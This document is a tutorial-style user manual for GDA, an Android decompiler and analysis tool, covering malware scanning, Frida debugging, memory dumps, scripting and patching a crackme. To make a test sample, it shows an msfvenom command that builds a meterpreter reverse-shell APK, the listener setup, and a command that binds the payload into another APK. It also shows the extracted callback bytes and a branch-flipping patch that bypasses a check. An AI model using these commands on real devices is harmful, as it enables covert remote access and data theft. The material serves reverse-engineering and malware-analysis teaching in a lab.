GDA User Manual Case Studies
Introduction
This article briefly introduces how to use each function of GDA from a case study perspective.
Note: For an in-depth description of each function point, please visit the Analysis Wizard section of the website.
Update date: 31 July 2023
Welcome to join the slack channel for an exchange of ideas around GDA use and Android reverse engineering.
Environment Configuration
Configuration interface
Configuration Wizard
After selecting a configuration, move the mouse pointer to the left side of the blank space will pop up the configuration prompt information
python:
Note: Current GDA (4.08) requires 32-bit python, example
Python 2.7.18 https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi
java :
java8:jdk-8u371-windows-i586
https://www.oracle.com/cn/java/technologies/downloads/#java8-windows
Generate key
1 | keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000 |
Convert key format1
keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12
Dump PKCS12-formatted key into directly readable text
openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem
gedit tmp.rsa.pem
Extract the content within the text and create two files based on the flagging information of their content, example:
my_private.rsa.pem
my.x509.pem
Conversion to generate a private key in pk8 format
openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt
Demo APK information
Sample code from Android studio: Hello Android
running effect
Authority to apply
Malicious Information Scanning
A number of methods were found to exist that could be used maliciously, for example:
Read contacts, SMS or other information
Collect IMEI, phone number, system version, etc
Example: Viewing and Locating
Code displayed by GDA to assist analysis to source code related location
(Name Nearby code, location and other reference data)
Malicious APK
On a kali system, you can generate an APK with a reflective shell by entering the following command
1 | msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk |
Attack aircraft listening in
1 | msfconsole //Start msfconsole |
Listening in
After installing and running the APK
Getting information about the target device
1 | sysinfo //Getting device information |
Analysis of ideas
Basic Information Enquiry
- BaseInfo
You can see some basic information about the target APK in the BaseInfo module.
- Certificate Information
You can query the certificate information by clicking on the function buttons or find the relevant query options in the map menu.
- AndroidManifest.xml file
Can filter the content display, for example: services, see this apk can service state running (Service is a kind of application components can be in the background to perform a long time running operation without providing interface. Services can be started by other application components and will continue to run in the background even if the user switches to another application.)
- forensic information
Unpack the APK and select the encoding format to check the information.
- Running status detection
You can use adb shell “ps |grep package name” to query the current APK of the test device.
According to the APK package name query example query as follows: enter adb shell “ps |grep com.metasploit.stage” command to query the current test device APK is running.
The test APK is running as shown below
Malicious Behaviour Scanning
HTTP Connection
The malicious method line can be double-clicked to go to the relevant code page.
For example, if you click on the
Analyse the code, the part related to the network protocol (serverSocket), through the startWith method to determine whether the string variable data to comply with the rules, if it meets the rules: if the string starts with tcp, then the string will be split by “:”.
And will be split after the results of the serial number 2 part passed to a variable will be used as a port number value, and in the split value passed to a variable will be used as an IP, if the conditions are met, will create a ServerSocket object in the specified ip, the port to listen to, the key parameters from Payload.a
Type the shortcut key to search: Ctrl F
See the assignment statement, click to view the
Viewed the IP and port information for the reverse connection
1 | Payload.a = new byte[8196]{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,':',0x09,0x00,'<','*',0x88,0x08,'.',0x12,0xdc,0xf8,'=',0xda,'>',0xc9,'Y',0xbd,'+','7','>',0xfd,0xc5,0xf9,0xd5,0xf6,'L','?',0x93,0xec,0xb5,'g',0x05,0xb6,0xb3,0xf2,'t','c','p',':','/','/','1','9','2','.','1','6','8','.','7','0','.','1','3','3',':','5','5','5','5','5',.....0x00,0x00,0x00,0x00,0x00,0x00,0x00}; |
Additional Tips:
Description of global search parameters
Type —-.
refstr: search for strings (with quoted strings)
reffield: search for class variables (variables that are referenced).
method: search for methods
class: search for class names
field: global search for class variables
package: package search
bin:binary search
Content—-
fuzzy :Payload
precisely:”Payload”
regular:~”.Payload.“
Window Always Display Options
Frida Dynamic Debugging
HTTP Connection related
To run the Android device (here I am running the Android emulator on the existent GDA machine)
Right click on the following functions
You can see the current machine’s Frida version in a pop-up window.
Message: The Android device is not running frida-server.
Use GDACMD to enter the following command to query the Android device kernel version information:
1 | adb shell getprop ro.product.cpu.abi |
Download the relevant frida-server based on the content information of frida and Android devices.
Extracted files
Enter the following command to copy this file to the /data/local/tmp/ directory on your Android device and rename it frida-server
1 | adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server |
You can start frida-server by entering the following command
Note: su is for switching to root privileges.
1 | adb shell |
- Custom JS Scripts
Left Right Execute or Shortcut F5
Scripting
Viewing the introduction information
String java class
startsWith method
1 | setImmediate(function() { |
In the right window, right-click and select the Exit option to end the script execution.
This concludes the simple dynamic analysis
Bundle Hardened APK Analysis
Bundling and Hardening with the 520apkhook Tool
Note: Need to change the source code due to utils naming conflicts.
main.py
1 | python main.py --lhost 192.168.70.133 --lport 55555 -n ./test.apk |
Malscan comparative
original:test.apk
bundled:AllFinish.apk
Comparison: Malicious scanning found added file manipulation methods and many more files in the apk package
Memory export
Application Scenario: Dump memory data for analysis when APK is hardened.
- adb utility settings
To avoid the execution of the recommended settings are as follows: environment variable adb use gdatmp directory, if the test device is a simulator (you need to delete the simulator comes with adb, use gdatmp directory adb replacement)
Note: gdatmp directory can be in the GDA does not open the apk when the map interface click on the working directory to quickly navigate to, if you have opened the apk in the navigation of the directory need to return to the previous directory to view!
test:
As shown in the figure below: the right-hand area has the data output content
- Dump error condition
If it is not available, you can manually upload the Memory Dump tool to the Android device (normally it is uploaded automatically).
The Memory Dump tool is saved in the gdatmp folder in the GDA working directory.
Select the corresponding version to upload to the Android device according to its kernel and give the corresponding permissions Example:
Delete the Gdump file in the /data/local/tmp/ directory of the Android device
1 | adb push %APPDATA%\GDA\gdatmp\Gdumpx86_64 /data/local/tmp/Gdump |
test
Dump Successful Alert Window
Clicking OK will open the path where the dump file is saved in Explorer.
Running Scripts
python script
test script
1.py
1 | def GDA_MAIN(gda_obj): |
Changes to the interface after running and outputting out.txt and 1.pyc files
java script
test script
1.java
1 | package example; |
If you load .java directly, the following window will pop up
Loading compiled class files
The relevant scripts can be viewed at the GitHub project https://github.com/charles2gan/GDA-android-reversing-Tool
Application Cases
Modify file
test file:https://github.com/num1r0/android_crackmes
After loading the test file, click Enter to enter the entry area.
Double click on MainActivity$1 with the left mouse button to enter the MainActivity area
Double-click getFlag with the left mouse button
1.View related information: double-click GETDATA with the left mouse button
s3cr37_p4ssw0rd_1337
2.Modify judgment: F5 or right click on Smali Java in the function window that pops up
Smali code
- NOP modification
Press R to save the changes
Click OK to install the modified APK to the test device
Successful installation message
running test
- modify a command
Modify if-eqz to if-nez
Right-click to see a menu of related functions
Press M to modify the currently selected command
Press Enter to confirm the modification.
Press R to save changes and test
This article ends here.